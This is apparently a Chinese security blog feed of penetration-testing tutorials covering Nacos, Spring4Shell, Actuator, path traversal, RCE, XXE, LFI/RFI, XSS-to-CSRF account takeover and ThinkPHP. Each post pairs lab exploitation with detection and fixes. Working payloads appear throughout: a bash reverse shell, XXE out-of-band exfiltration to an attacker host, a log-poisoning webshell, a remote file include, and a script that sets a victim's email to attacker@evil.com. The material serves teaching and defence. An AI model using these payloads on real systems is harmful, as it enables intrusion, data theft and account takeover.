Web安全 on SoulJian小站

Yakit 集成安全测试平台实战

Sat, 29 Aug 2026 20:00:00 +0800

写在前面：合法学习边界

Yakit 仅用于授权测试。对非授权目标执行 POC、扫描可能触犯法律。

一、工具定位

Yakit 是国产集成化安全测试平台，定位类似“Burp Suite + 插件商店 + POC 引擎”的结合体，界面中文、上手快、插件生态丰富。

核心能力：

1
2
3
4
5


MITM 抓包改包（类似 Burp 代理）
插件商店（漏洞/工具插件一键安装）
POC 执行（YAML 描述，类似 nuclei）
Web Fuzzer（手工参数测试）
端口扫描 / 漏洞扫描模块

二、影响与危害

1
2
3


Web 渗透全流程一站完成
插件/POC 批量打已知漏洞
配合手工测试效率很高

风险等级：作为工具本身无风险，滥用才危险。

三、使用 / 复现

1. MITM 抓包

1
2
3


启动 Yakit → MITM 模块
设置浏览器/系统代理指向 Yakit（默认 127.0.0.1:8787）
安装 CA 证书后即可看到并改包

2. Web Fuzzer 手工测试

1
2
3


输入 URL 与参数
可对参数做 fuzz、编码、重复请求
配合 Burp 思路测注入/越权/逻辑

3. 插件与 POC

1
2
3


# 插件商店搜索安装（如指纹、漏洞插件）
# 用 POC 对授权目标批量验证
yakit → PoC 模块 → 导入/选择 YAML POC → 执行

4. 资产与漏洞扫描

1
2


端口扫描 → 服务识别
对目标跑指纹与漏洞检测插件

四、检测（对立面）

1
2
3


Yakit MITM 有固定特征流量/证书
批量 POC 请求特征可被 WAF/态势感知识别
注意授权边界，避免触发告警

五、防御

1
2
3


WAF 拦截批量 POC 与异常探测
对漏洞插件对应的 CVE 及时补丁
做好代理与请求审计

修复

1
2
3
4


对已受影响目标：取证、清理、修复漏洞
封禁工具回连地址与端口
升级安全设备规则，补特征库
复测：异常流量与特征消失

六、小结

Yakit 的价值是“把抓包、插件、POC、扫描整合到一个平台”，特别适合国内 Web 渗透。它不能替代手工能力，但能显著提效。用它做授权测试、看清它的流量特征，攻防两端都有意义。

小程序渗透测试实战

Sat, 29 Aug 2026 19:40:00 +0800

写在前面：合法学习边界

小程序渗透只允许在授权目标进行。对非授权小程序抓包、反编译、测试接口可能违反平台规则与法律。

一、原理与攻击面

小程序本质是“运行在微信里的前端应用 + 后端接口”。前端代码虽然被加密打包，但仍可获取；真正的安全边界在后端接口。

常见攻击面：

1
2
3
4
5


1. 前端包反编译 → 拿到接口、密钥、逻辑
2. 后端接口 → 未授权、越权、注入、逻辑漏洞
3. 支付逻辑 → 金额篡改
4. 云函数/云开发 → 配置与权限问题
5. WebView → 远程调试、url 跳转漏洞

二、影响与危害

1
2
3
4


用户数据泄露（手机号、订单、个人信息）
越权操作他人数据
支付金额篡改
服务器被攻击

风险等级：中到高。

三、利用 / 复现

1. 抓包配置（让 Burp 能看小程序流量）

1
2
3


方法一：手机/模拟器设代理指向 Burp，安装 CA 证书
方法二：用 Proxifier 全局代理 + Burp
注意：小程序有证书校验时需绕过（如 frida/改包）

2. 获取并反编译小程序包

1
2
3


拿到 .wxapkg 包（本地缓存目录）
用解密+反编译工具还原 JS 源码
重点找：接口地址、appid/secret、加密密钥、业务逻辑

3. 接口测试

1
2
3
4


# 从源码提取接口后批量测试
GET /api/user/info?id=1001 # 越权
POST /api/order/create # 参数篡改
# 未授权、SQL注入、逻辑漏洞照常测

4. 支付逻辑

1
2
3


改 amount/price 参数
金额负数、数量为 0
回调重放

四、检测

1
2
3
4


抓包看是否绕过证书校验
接口参数是否可篡改/越权
支付金额服务端是否重新校验
云函数权限与密钥是否泄露

五、防御

1
2
3
4
5


服务端统一鉴权，不信任前端参数
支付金额服务端计算
接口做限流与防刷
敏感密钥不进前端包
证书校验不随意关闭

六、修复

1
2
3
4


修复越权/注入/逻辑漏洞
清理前端包中泄露的密钥
对支付接口服务端重校验
修复后复测：篡改与越权均被拒

七、小结

小程序渗透的关键是“前端拿信息、后端找漏洞”。反编译拿到接口和密钥只是第一步，真正的测试重心在接口的鉴权、越权与业务逻辑。方法论和 Web 渗透一致，只是入口换成了小程序包。

Nacos 漏洞利用实战（未授权/认证绕过/反序列化）

Sat, 29 Aug 2026 19:00:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Nacos 里常存数据库密码与 AK/SK，读取真实配置可能触犯法律。

一、漏洞原理

Nacos 是阿里的微服务注册配置中心，生产里常存数据库密码、AK/SK、Token。它的问题集中在几类：

1
2
3
4
5


1. 默认/弱口令（nacos/nacos、nacos/admin）
2. 认证绕过（CVE-2021-29441，User-Agent/请求头伪造）
3. 未授权读取配置
4. Derby 内置数据库 SQL 注入
5. Raft Hessian 反序列化 RCE

本质：配置中心是高价值目标，却常被默认配置暴露在公网。

二、影响与危害

1
2
3


数据库密码、AK/SK、Token 批量泄露
微服务配置被篡改
反序列化直接 RCE、控制服务器

风险等级：高到严重（配置中心=全家桶钥匙）。

三、利用 / 复现

1. 默认口令登录

1
2


http://目标:8848/nacos
账号：nacos / nacos（老版本 admin/admin）

2. 认证绕过（CVE-2021-29441）

1
2
3


# 部分版本带 Nacos-Server 特征请求头可绕过鉴权
curl 'http://目标:8848/nacos/v1/auth/users?username=evil&password=evil' \
 -H 'User-Agent: Nacos-Server'

3. 未授权读配置

1
2


# 读取配置（需确认版本鉴权情况）
curl 'http://目标:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100'

4. Derby SQL 注入

1
2


# 内置 Derby 数据库存在 SQL 注入，可读取敏感数据
curl 'http://目标:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users'

5. Hessian 反序列化 RCE

1
2
3


Nacos 1.4.x / 2.x 的 Raft 服务存在 Hessian 反序列化链
配合 ysoserial 类 gadget 可实现 RCE
需内网可达 9848/7848 等 Raft 端口

四、检测

1
2
3
4


指纹：8848 端口、/nacos/ 路径
尝试默认口令与 /v1/auth/users 认证绕过
扫描 Derby 注入与未授权配置接口
版本指纹后核对已知 CVE（含 Hessian 链）

五、防御

1
2
3
4
5


修改默认口令并开启强密码
生产启用鉴权与访问控制
关闭公网暴露，Nacos 走内网
最小化开放端口（8848/9848/7848）
对配置中心做网络隔离

六、修复

1
2
3
4


升级 Nacos 到安全版本
重置泄露的密钥/数据库密码
开启鉴权并配置正确 serverIdentity
修复后复测：未授权与绕过请求被拒

七、小结

Nacos 是“一把钥匙开全部门”：拿到配置中心，等于拿到数据库密码和云密钥。实战中它常常因为默认口令和公网暴露被秒穿，务必归入资产清单重点排查。

目录爆破：dirsearch 与 ffuf 实战

Sat, 29 Aug 2026 18:50:00 +0800

写在前面：合法学习边界

目录爆破只允许在授权目标进行。对非授权站点大量请求可能触犯法律、影响服务。

一、原理

Web 服务器对目录/文件存在与否的响应不同（200/403/404）。目录爆破就是用字典批量请求路径，通过响应差异找出隐藏的目录、备份文件、后台和接口。

1
2


字典里的路径 → 逐个请求 → 按状态码筛选
常见目标：后台、.git、备份.zip、.env、日志、上传目录

二、影响与危害

1
2
3


发现隐藏后台与未授权接口
找到备份/源码/.git 泄露
扩大攻击面、配合其他漏洞

风险等级：中到高（信息收集关键一步）。

三、利用 / 复现

dirsearch 基础

1
2
3
4
5
6
7
8


# 基础扫描
dirsearch -u http://目标/
# 指定字典与扩展名
dirsearch -u http://目标/ -w /usr/share/wordlists/dirb/common.txt -e php,zip,bak,git
# 过滤与递归
dirsearch -u http://目标/ -x 403,500 --recursive
# 保存结果
dirsearch -u http://目标/ -o result.txt

ffuf 模糊测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 目录爆破（FUZZ 占位）
ffuf -u http://目标/FUZZ -w 字典.txt -mc 200,301,302

# 扩展名探测
ffuf -u http://目标/FUZZ -w 字典.txt -e .php,.zip,.bak

# 递归
ffuf -u http://目标/FUZZ/FUZZ -w 字典.txt -mc 200

# 参数/值模糊（接口测试）
ffuf -u http://目标/api?file=FUZZ -w 文件列表.txt -mc 200

结果筛选

1
2


重点看 200/301/302 与 403 中的非常规路径
优先验证：/.git/、/backup/、/.env、/admin、/upload/、/api/

四、检测

1
2
3
4


日志中同一来源大量 404/异常路径请求
请求频率异常高（目录爆破特征）
字典特征路径（.git、backup.zip、admin 等）
WAF/告警平台触发暴力探测规则

五、防御

1
2
3
4


关闭目录列表
隐藏敏感路径，做访问控制
对高频 404/暴力探测限速与封禁
上传/备份目录不放在 Web 根目录

六、加固（修复）

1
2
3
4


移除/隐藏备份与源码文件
对后台和敏感接口加认证
部署 WAF 拦截目录爆破特征
修复后复测：敏感路径不可被枚举

七、小结

目录爆破是 Web 渗透信息收集的“必做动作”。dirsearch 简单直接，ffuf 更灵活（能做参数模糊）。关键是用对字典、过滤状态码、验证高价值路径，而不是盲目跑一大圈。

Spring 家族漏洞速览

Sat, 29 Aug 2026 18:20:00 +0800

写在前面：合法学习边界

本文是 Spring 家族漏洞清单，用于排查与加固。相关验证只在授权环境进行。

一、为什么要把 Spring 当“家族”看

Spring 不是一个软件，而是一整套生态：核心框架、Boot、Cloud、Data、Security、Session…每个分支都可能出问题。渗透测试时识别到 Spring 技术栈，就要按分支逐个排查。

二、各分支主要漏洞

1. Spring Framework（核心）

1
2
3


Spring4Shell（CVE-2022-22965）：数据绑定 → RCE
影响：5.3.0-5.3.17、5.2.0-5.2.19，JDK9+
修复：升级 5.3.18+/5.2.20+，禁用 class.* 绑定

2. Spring Cloud Gateway

1
2
3
4


SpEL 注入 RCE（CVE-2022-22947）
影响：3.1.0-3.1.1、3.0.0-3.0.6
修复：升级 3.1.2+/3.0.7+，认证 /actuator/gateway
详见本站 Spring Cloud Gateway 篇

3. Spring Data

1
2
3


SpEL 注入（CVE-2022-22950）：对不可信数据做 SpEL 求值
影响：Spring Data Commons 相关版本
修复：升级并避免对不可信输入求值

4. Spring Boot Actuator

1
2
3


管理端点未认证 → 信息泄露/组合 RCE
修复：生产关闭端点、加认证、最小化暴露
详见本站 Actuator 篇

5. Spring Security

1
2


配置不当：放行敏感接口、默认凭据、CORS 配置错误
修复：白名单 + 权限校验 + 审计

6. Spring Session / Spring MVC

1
2


会话固定、数据绑定过度、模板注入（视版本）
修复：升级 + 加固配置

三、渗透测试排查顺序

1
2
3
4
5


1. 指纹：识别 Spring Boot/Cloud/框架版本
2. 先扫 /actuator 系列端点
3. 确认版本后逐个核对已知 CVE
4. 有 gateway 端点 → 试 SpEL 注入
5. 有数据绑定接口 → 试 class.module（Spring4Shell）

四、修复与加固清单

1
2
3
4
5


统一升级 Spring 生态到安全版本
Actuator 生产禁用 + 认证
禁止 class.* 等危险属性绑定
WAF 拦截 SpEL/数据绑定关键字
对 Spring 组件做资产登记与版本监控

五、小结

Spring 家族漏洞“多而分散”，但排查思路是统一的：先指纹定版本，再按分支核对漏洞。把 Framework、Cloud Gateway、Boot Actuator、Data 分开记，就不会在“是哪个 Spring 出的问题”上打转。

Spring Boot Actuator 信息泄露与未授权访问

Sat, 29 Aug 2026 18:10:00 +0800

写在前面：合法学习边界

Actuator 端点利用只允许在授权环境进行。读取真实系统的密钥、dump 内存可能触犯法律。

一、漏洞原理

Spring Boot Actuator 默认暴露一系列管理端点，用于健康检查、配置查看、指标等。如果生产环境未认证就把端点暴露到公网，就变成信息泄露甚至 RCE 入口。

常见端点：

1
2
3
4
5
6
7
8


/actuator # 端点列表
/actuator/env # 环境变量与配置（可能含密钥）
/actuator/heapdump # 堆内存 dump（可提取密码/Token）
/actuator/mappings # 接口列表
/actuator/beans # Bean 信息
/actuator/configprops
/actuator/jolokia # JMX 访问（可组合 RCE）
/actuator/gateway # 网关路由（配合 SpEL RCE）

二、影响与危害

1
2
3
4


数据库密码、AK/SK、Token 泄露
堆内存 dump 提取敏感凭据
接口信息暴露，扩大攻击面
组合端点直接 RCE（jolokia、gateway）

风险等级：高到严重。

三、利用 / 复现

端点枚举

1
2
3
4
5


curl http://目标/actuator
curl http://目标/actuator/env
curl http://目标/actuator/health
curl http://目标/actuator/mappings
curl http://目标/actuator/beans

提取密钥

1
2
3
4


# 环境变量/配置里的密码与 token
curl http://目标/actuator/env | grep -iE 'password|secret|key|token'
# heapdump 下载后用工具分析
curl -o heap.hprof http://目标/actuator/heapdump

组合 RCE

1
2


jolokia：通过 JMX 执行操作（历史上有 RCE 链）
gateway：Spring Cloud Gateway 的 /actuator/gateway 路由注入 SpEL（见本站 Spring Cloud Gateway 篇）

四、检测

1
2
3
4


探测 /actuator 及常见子端点是否存在
响应中泄露配置/堆栈/端点信息
日志中访问 /actuator 的异常来源
指纹确认 Spring Boot 版本

五、防御

1
2
3
4


生产环境禁用 Actuator 或仅内网访问
对端点加认证（management.endpoints.web.exposure.include 最小化）
敏感端点（env/heapdump）单独关闭
网关/外网隔离管理端口

六、修复

1
2
3
4


配置 management.endpoints.enabled-by-default=false，只开必要端点
添加 Spring Security 保护 /actuator/**
清理已泄露的密钥并轮换
修复后复测：未认证访问被拒

七、小结

Spring Boot 的 Actuator 是“双刃剑”：运维方便，暴露即灾难。它是 Spring 家族里最常见的信息泄露面，渗透时先扫 /actuator，防守时先关端点、再加认证。

Spring4Shell 复现（CVE-2022-22965）

Sat, 29 Aug 2026 18:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring4Shell 可直接控制服务器，禁止对真实系统使用。

一、漏洞原理

Spring4Shell（CVE-2022-22965）是 Spring Framework 核心的 RCE 漏洞，利用的是 Spring MVC/WebFlux 的数据绑定机制。

原理链路：

1
2
3
4


1. 请求参数通过数据绑定写入 POJO 属性
2. 绑定器（BeanWrapper）允许访问 class.module.classLoader 等敏感属性（JDK9+）
3. 攻击者借此修改 Tomcat 的 AccessLogValve 配置
4. 让 Tomcat 把请求写入 JSP 文件 → 访问即执行 → RCE

影响版本与条件：

1
2
3


Spring Framework 5.3.0 – 5.3.17
Spring Framework 5.2.0 – 5.2.19
要求：JDK 9+、Spring MVC/WebFlux、部署在 Tomcat

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
写 WebShell、反弹 Shell、内网横向

风险等级：严重。和 Log4Shell 并列的 2022 年高危漏洞。

三、利用 / 复现

环境准备

1
2


# Spring4Shell 靶场（Tomcat + JDK8 不行，需 JDK9+）
docker run -d -p 8080:8080 --name s4s vulhub/spring-4shell:jdk9

手工验证（关键参数）

构造一组数据绑定参数，把 Tomcat AccessLogValve 的日志写到可执行目录：

1
2
3
4
5


class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP内容>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/usr/local/tomcat/webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

再用 curl 发一个带 cmd 的请求，让日志把命令写入 JSP：

1
2


curl -X POST http://127.0.0.1:8080/xxxx?cmd=id \
 --data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=...' ...

访问生成的 shell.jsp 即可执行命令。

常用工具

1

python3 spring4shell.py（自动打）

四、检测

1
2
3
4


日志/流量中找 class.module.classLoader 关键字
AccessLogValve 相关参数（pipeline.first.pattern/suffix）
web 目录出现非业务 .jsp 文件
Spring 版本指纹 + JDK 版本确认

五、防御

1
2
3
4


升级 Spring Framework 到 5.3.18+ / 5.2.20+
禁用危险属性绑定（禁止 class.* 前缀）
WAF 拦截 class.module 关键字
Web 目录禁止写入

六、修复

1
2
3
4


立即升级 Spring 依赖
或配置 DataBinder 设置 allowed/disallowedFields 黑名单 class.*
清理已写入的 WebShell
修复后复测：class.module 参数被拒、不再生成文件

七、小结

Spring4Shell 的根因是数据绑定过度暴露了类内部属性。它和 Fastjson/Log4j 一样属于“组件默认行为导致 RCE”，防御核心是升级 + 禁用危险绑定 + WAF 拦截关键字。

目录穿越：任意文件读取与写入

Sat, 29 Aug 2026 17:00:00 +0800

写在前面：合法学习边界

目录穿越测试只允许在自建靶场或授权环境进行。对真实系统读文件、写文件可能触犯法律。

一、漏洞原理

程序把用户输入拼进文件路径，却没有校验路径范围，导致可以用 ../ 跳出限定目录访问任意文件。

1
2


危险写法：
readFile("/var/www/uploads/" + filename)

攻击者传：

1

../../../../etc/passwd

就变成了：

1

readFile("/var/www/uploads/../../../../etc/passwd")

漏洞本质：用户可控输入进入了文件路径，且未做路径规范化与边界校验。

二、影响与危害

1
2
3


读取任意文件（源码、配置、密钥、数据库备份）
配合上传/写入 → 写文件 Getshell
敏感信息泄露放大其他攻击

风险等级：高。

三、利用 / 复现

基础读取

1
2


curl http://目标/download?file=../../../../etc/passwd
curl http://目标/?page=..%2f..%2f..%2fetc%2fpasswd

编码与绕过

1
2
3
4


双编码：%252e%252e%252f → 服务器解码一次后仍带 ..%2f
反斜杠：..\..\..\etc\passwd（Windows）
绝对路径：/etc/passwd 直接拼
通配与空字节：%00 截断（老系统）

常见绕过验证：

1

curl --path-as-is 'http://目标/download?file=..%252f..%252f..%252fetc%252fpasswd'

读高价值文件

1
2
3
4


/etc/passwd、/etc/shadow
应用配置文件（.env、config.php、web.config）
源码、备份、日志
Windows：C:\Windows\win.ini、IIS web.config

写文件（配合场景）

如果下载接口带保存功能且路径可控，可能配合写入：

1

把内容写进可执行目录 → 形成 WebShell

四、检测

1
2
3
4


参数中出现 ../、%2e%2e、%252e 等
日志里 path/file/download 参数异常
响应出现系统文件特征（root:x:0:0 等）
对比正常与异常响应差异

五、防御

1
2
3
4
5


文件路径用白名单/映射，不接受原始用户路径
对路径做规范化（resolve）后校验前缀
过滤 ../、..\ 及编码变体
文件读取接口限制目录与扩展名
最小权限运行 Web 服务

六、修复

1
2
3
4


改用文件 ID/映射表，不拼用户输入
统一路径处理函数做规范化和边界校验
修复后复测：../ 与编码绕过均被拒
排查历史读取接口

七、小结

目录穿越和文件包含是“一家人”：都是用户输入进了路径。测试时重点看 download/file/page/path 这类参数；防御核心是不要拼原始路径 + 规范化校验。

RCE：代码执行与命令执行实战

Sat, 29 Aug 2026 15:30:00 +0800

写在前面：合法学习边界

RCE 测试只允许在自建靶场或授权环境进行。对真实系统执行命令、反弹 Shell 可能触犯法律。

一、漏洞原理

RCE（远程代码/命令执行）是一个大类，凡是“服务器执行了攻击者控制的内容”都属于它。

常见入口：

1
2
3
4
5


命令执行：拼接系统命令（ping、eval、模板）
代码执行：eval、动态函数、模板注入
反序列化：加载恶意对象
框架漏洞：Struts2、ThinkPHP、Fastjson、Log4j
组件漏洞：上传 WebShell 后执行

共同本质：不可信输入进入了可执行路径。

二、影响与危害

1
2
3


完全控制服务器
读取/篡改数据、植入后门
内网横向移动

风险等级：严重，几乎是渗透的最终目标之一。

三、利用 / 复现

命令执行

1
2
3


# 参数拼接命令
curl "http://目标/ping?ip=127.0.0.1;id"
curl "http://目标/ping?ip=127.0.0.1 && whoami"

代码执行

1
2
3


模板注入（SSTI）：{{7*7}} 验证
eval 型接口传代码
动态函数名参数

验证与反弹

1
2
3
4


# 先验证，再反弹
curl "http://目标/?cmd=id"
# 反弹 Shell
bash -i >& /dev/tcp/攻击机/4444 0>&1

配合 nc 监听：

1

nc -lvnp 4444

四、检测

1
2
3
4


日志中找 ;、|、&&、`、${} 等命令分隔符
SSTI 特征 {{、${、#{ 等模板标记
对 RCE 类组件（Fastjson/Log4j/Struts2）做指纹
异常子进程与出站连接

五、防御

1
2
3
4
5


参数化调用，不拼 shell 字符串
禁用危险函数/动态执行
过滤命令分隔符与模板标记
输入白名单与最小权限
WAF 拦截命令执行特征

六、修复

1
2
3
4


代码层：改用安全 API、删 eval/危险函数
组件层：升级框架与依赖（Struts2/Fastjson/Log4j 等）
系统层：最小权限、补丁、网络隔离
修复后复测：命令与模板 payload 均不再执行

七、小结

RCE 是很多攻击链的“终点”。它入口很多（命令、代码、反序列化、组件），但本质一致——让服务器执行攻击者可控的东西。防御要代码、组件、系统三层一起做。

XXE：XML 外部实体漏洞实战

Sat, 29 Aug 2026 15:10:00 +0800

写在前面：合法学习边界

XXE 测试只允许在自建靶场或授权环境进行。对真实系统读文件、外带数据、探测内网可能触犯法律。

一、漏洞原理

XML 解析器默认支持 DTD 和外部实体。如果程序解析不可信的 XML，且没禁用外部实体，攻击者就能让解析器去读文件、发请求。

1
2
3
4


<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

漏洞本质：XML 的“实体”机制被用来访问本地文件或外部地址。

常见触发点：

1
2
3
4


SOAP/XML-RPC 接口
前端传 XML 的接口
上传 .xml/.docx/.svg 被后端解析
配置文件解析

二、影响与危害

1
2
3
4


读取任意文件（源码、配置、密钥）
SSRF（实体指向内网地址）
带外数据外带（OOB）
DoS（实体扩展/十亿笑）

风险等级：高。

三、利用 / 复现

直接读文件

1
2
3
4
5


<?xml version="1.0"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

如果响应里回显 /etc/passwd 内容，XXE 成立。

无回显：带外外带（OOB）

1
2
3
4
5
6
7


<?xml version="1.0"?>
<!DOCTYPE foo [
 <!ENTITY % xxe SYSTEM "file:///etc/passwd">
 <!ENTITY % ext SYSTEM "http://攻击机/xxe.dtd">
 %ext;
]>
<foo/>

攻击机放 xxe.dtd，把文件内容拼到外带请求：

1
2


<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://攻击机/?data=%file;'>">
%all;

攻击机收到带文件内容的请求。

探测内网 / SSRF

1
2


<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
<foo>&xxe;</foo>

四、检测

1
2
3
4


请求中带 XML 与 DOCTYPE/ENTITY
响应出现文件内容或异常报错
出现对攻击机的外带请求
XML 接口存在但报错信息暴露内部路径

五、防御

1
2
3
4


禁用 DTD / 外部实体（解析库安全默认值）
不用 XML 就用 JSON
对 XML 输入做白名单校验
限制解析资源防 DoS

六、修复

1
2
3
4


解析库显式关闭外部实体与 DTD
升级到默认安全的 XML 解析配置
对存量接口审计 XML 输入
修复后复测：file:// 与外带 payload 均被拒

七、小结

XXE 的核心是“XML 解析器信任了外部实体”。它既能读文件又能当 SSRF。见到 XML 接口就先试实体——很多老接口都中招。

文件包含漏洞：LFI / RFI 实战

Sat, 29 Aug 2026 15:00:00 +0800

写在前面：合法学习边界

文件包含测试只允许在自建靶场或授权环境进行。对真实系统读文件、写入 getshell 可能触犯法律。

一、漏洞原理

很多语言有“包含文件”的功能（PHP 的 include/require、JSP 的 include、模板引擎）。如果包含的路径由用户输入控制，就产生文件包含漏洞。

1

include($_GET['page'] . '.php');

用户传 ?page=../../../../etc/passwd，就可能把系统文件读进页面。

两种类型：

1
2


LFI：包含服务器本地文件
RFI：包含远程 URL 文件（require 允许时）

漏洞本质：用户可控输入进入了文件路径/包含流程。

二、影响与危害

1
2
3
4


读取任意文件（配置、源码、密码文件）
配合日志/临时文件包含 → Getshell(RCE)
RFI 直接加载远程恶意文件
内网信息泄露

风险等级：高到严重。

三、利用 / 复现

LFI 读文件

1
2
3
4
5


# 目录穿越读 /etc/passwd
curl http://目标/index.php?page=../../../../etc/passwd
# 常见过滤绕过
curl http://目标/index.php?page=....//....//....//etc/passwd
curl http://目标/index.php?page=..%2f..%2f..%2fetc%2fpasswd

PHP 过滤器读源码（不执行）

1
2


curl http://目标/index.php?page=php://filter/convert.base64-encode/resource=index.php
# 把 base64 解码即得源码

日志包含 Getshell

先让 Web 日志里写入一句话，再包含日志文件：

1
2
3
4


# 1. User-Agent 写入 PHP 代码
curl -H "User-Agent: <?php system(\$_GET['c']);?>" http://目标/index.php?page=1
# 2. 包含日志文件
curl http://目标/index.php?page=../../../../var/log/apache2/access.log&c=id

RFI

1

curl http://目标/index.php?page=http://攻击机/shell.txt

前提是 allow_url_include 开启。

四、检测

1
2
3


参数中出现路径穿越、php://、http://、data://
日志里包含关键字 php://filter、../../、/etc/passwd
请求带异常 UA 后跟随日志包含请求

五、防御

1
2
3
4


对 include 路径做白名单映射
禁止用户直接控制文件路径
关闭 allow_url_include
对 ..、php://、http:// 等做校验

六、修复

1
2
3
4


改用白名单/映射表，不用用户输入拼路径
统一过滤 ../ 与编码变体
升级配置关闭远程包含
修复后复测：穿越与过滤器 payload 均被拦截

七、小结

文件包含的关键是“用户输入进了路径”。它和目录遍历是兄弟，但更危险——LFI 能读源码、配合日志还能 Getshell。测试时优先找 page/file/template 这类参数。

漏洞联动：XSS 打 CSRF 实现账号接管

Sat, 29 Aug 2026 13:00:00 +0800

写在前面：合法学习边界

本文的联动利用只在自建靶场进行。在真实站点注入脚本、窃取会话、触发敏感操作可能触犯法律。

一、漏洞原理：为什么 XSS 和 CSRF 能串联

XSS 与 CSRF 的成因不同，但配合起来就是“账号接管链”：

1
2


CSRF：浏览器会自动带 Cookie，服务端信任请求来源
XSS：能在受害者浏览器里执行任意脚本

把两者串联：

1
2
3
4


1. 存储型 XSS 在受害者浏览器执行
2. 脚本代替受害者发起敏感请求（改邮箱/改密/加管理员）
3. 浏览器自动带 Cookie → 服务端认为是用户本人操作
4. 攻击者拿到邮箱/密码重置 → 完全接管账号

关键点：XSS 解决了 CSRF 的“不能读响应、不能带自定义头”的短板，CSRF 又让 XSS 的后果从“弹窗”升级为“账号控制”。

二、影响与危害

1
2
3
4


账号完全接管（改密、绑定邮箱）
垂直提升（低权限 → 管理员）
批量受影响（存储型 XSS 打所有访问者）
配合钓鱼进一步扩大战果

风险等级：存储型 XSS + 敏感接口无 CSRF 防护时，属于严重。

三、利用 / 复现

场景

靶场里有一个支持富文本的留言/资料接口，存在存储型 XSS；同时改邮箱接口只依赖 Cookie，没有校验 CSRF Token。

第一步：确认存储型 XSS

1

<img src=x onerror="alert(document.domain)">

在留言里提交，其他用户打开页面能弹窗，说明存储型 XSS 成立。

第二步：窃取 CSRF Token（如果接口有 Token）

用脚本在受害者上下文里读取 Token 并调用敏感接口：

1
2
3
4
5
6
7
8
9


<script>
fetch('/api/csrf')
 .then(r => r.json())
 .then(d => fetch('/api/change-email', {
 method: 'POST',
 headers: { 'X-CSRF-Token': d.token },
 body: new URLSearchParams({ email: 'attacker@evil.com' })
 }));
</script>

第三步：无 Token 时直接触发

如果接口只认 Cookie，脚本更简单：

1
2
3


<script>
fetch('/api/change-email', {method:'POST', body:new URLSearchParams({email:'attacker@evil.com'})});
</script>

结果验证

1
2


受害者打开页面后，其邮箱被改成攻击者邮箱
攻击者用“忘记密码”接管账号

四、检测

1
2
3
4


日志中找 <script>、onerror、fetch、XMLHttpRequest 特征
同会话内出现“浏览页面 + 异常敏感接口调用”
改邮箱/改密接口的请求来源是页面而非正常表单
多次相同 XSS payload 提交

五、防御

1
2
3
4


输出编码 + CSP（限脚本来源）
敏感接口使用 CSRF Token + SameSite Cookie
HttpOnly 防 Cookie 被读，但 CSRF 仍要 Token
对富文本输入做白名单过滤

六、修复

1
2
3
4


修复 XSS：按上下文编码、启用 CSP、富文本白名单
修复 CSRF：敏感接口校验 Token + SameSite + 二次验证
关键操作（改密/改邮箱/加管理员）强制二次认证
修复后复测：注入脚本不执行、跨站请求被拒

七、小结

XSS 与 CSRF 联动说明：单看一个漏洞可能“中危”，串起来就是“严重”。渗透测试时要习惯把入口漏洞和后续动作连成链，防守方则要同时修掉链路上的每一环。

ThinkPHP 5.x RCE 漏洞复现

Sat, 29 Aug 2026 11:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。ThinkPHP 漏洞利用影响真实业务，禁止对非授权目标使用。请先搭建隔离环境。

一、漏洞原理

ThinkPHP 5.x 默认支持“魔术路由”，允许通过 URL 直接调用类方法。攻击者利用这一点，把 URL 参数构造成函数回调链。

核心原理：

1
2
3


1. 路由解析：?s=/index/\think\app/invokefunction
2. 触发调用：invokefunction → call_user_func_array
3. 参数可控：vars 参数里传函数名和参数

漏洞本质：框架默认路由把不可信输入变成了函数调用链，属于典型的“输入进入执行流程”。

影响版本：

1
2


ThinkPHP 5.0.x（5.0.23 及之前）
ThinkPHP 5.1.x（部分版本）

二、漏洞影响与危害

无需登录、无需认证，直接通过 GET 请求执行系统命令：

1
2
3
4


服务器命令执行（RCE）
读取/篡改源码与配置文件
反弹 Shell、植入后门
横向打内网

风险等级：严重。ThinkPHP 在国内使用量极大，是实战中命中率最高的框架漏洞之一。

三、漏洞利用 / 复现

环境准备

1

docker run -d -p 8081:80 --name tp5 medicean/vulapps:t_thinkphp_5.0.23

访问 http://127.0.0.1:8081/ 确认页面正常。

5.0.23 利用

1

curl -g 'http://127.0.0.1:8081/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'

返回结果里能看到 uid=www-data 之类输出，说明命令已执行。

换命令：

1
2


vars[0]=system&vars[1][]=whoami
vars[0]=system&vars[1][]=cat /etc/passwd

5.1.x 利用

1

curl -g 'http://127.0.0.1:8081/index.php?s=index/\think\Request/input&filter[]=system&data=id'

5.1.x 通常需要开启 debug 才有回显，但命令已执行，可用 DNSLog 或写入文件验证。

四、漏洞检测

1
2
3
4


日志中找 /think/、invokefunction、call_user_func_array、filter[] 关键字
找异常的大写类名路径
GET/POST 参数中出现 vars、data、filter 数组
指纹确认 ThinkPHP 版本

五、漏洞防御

1
2
3
4


关闭 debug，生产环境隐藏错误回显
WAF 拦截 /think/ 与 call_user_func_array
不使用默认魔术路由，显式定义路由
限制请求参数类型与长度

六、漏洞修复

1
2
3
4


升级到 ThinkPHP 5.1.41+ 或 6.x
升级后回归路由与参数校验
关闭不必要的方法调用能力
对历史代码做一次参数审计

修复后用原 payload 复测确认失效。

七、小结

ThinkPHP RCE 代表了“框架默认路由 + 可控参数”这一类问题。渗透时框架版本识别决定利用链；防御端要“升级 + 关闭调试 + 收敛路由”一起做，缺一不可。

HTTP 缓存与缓存控制

Sat, 29 Aug 2026 10:30:00 +0800

